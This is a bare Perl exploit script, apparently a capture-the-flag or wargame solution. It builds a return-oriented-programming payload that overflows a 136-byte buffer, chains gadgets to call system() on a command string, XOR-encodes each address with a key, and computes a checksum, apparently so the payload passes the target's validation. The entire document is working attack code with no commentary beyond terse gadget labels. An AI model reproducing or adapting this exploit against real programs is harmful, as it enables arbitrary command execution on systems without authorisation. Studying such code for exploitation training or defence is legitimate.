#!/usr/bin/perl
$| = 1;

$addr_of_ret = 0xbffff904;
$addr_of_system_addr = 0xbfffffa3;
$addr_of_cmd = 0xbffffe04;

# pop ebx; pop ebp; ret
$sh  = pack("V", 0x08048840 ^ 0xdefaced);           # ---
$sh .= pack("V", $addr_of_system_addr ^ 0xdefaced); # ebx
$sh .= pack("V", 0xdeadbeef ^ 0xdefaced);           # ebp

# mov eax, [ebx]; call eax
$sh .= pack("V", 0x08048838 ^ 0xdefaced);           # ---
$sh .= pack("V", $addr_of_cmd ^ 0xdefaced);         # sh ;

# returns padding
$sh = pack("V", 0x08048842  ^ 0xdefaced).$sh while (length($sh) < 136);

# addr of ret
$sh .= pack("V", $addr_of_ret ^ 0xdefaced); # system

# calculating sum
@sh = split //, $sh;
$sum = 0;
@hash = (0xed, 0xac, 0xef, 0xd);
for ($i = 0; $i < $#sh+1; $i++) {
    if (!($i&3)) {
        $ch = ord($sh[$i])^$hash[$i%4];
        $ch = -(256-$ch) if ($ch > 127);
        $sum += $ch;
    }
}

# output
if ($ARGV[0] eq "sum") {
    print $sum;
}
else {
    print $sh;
}
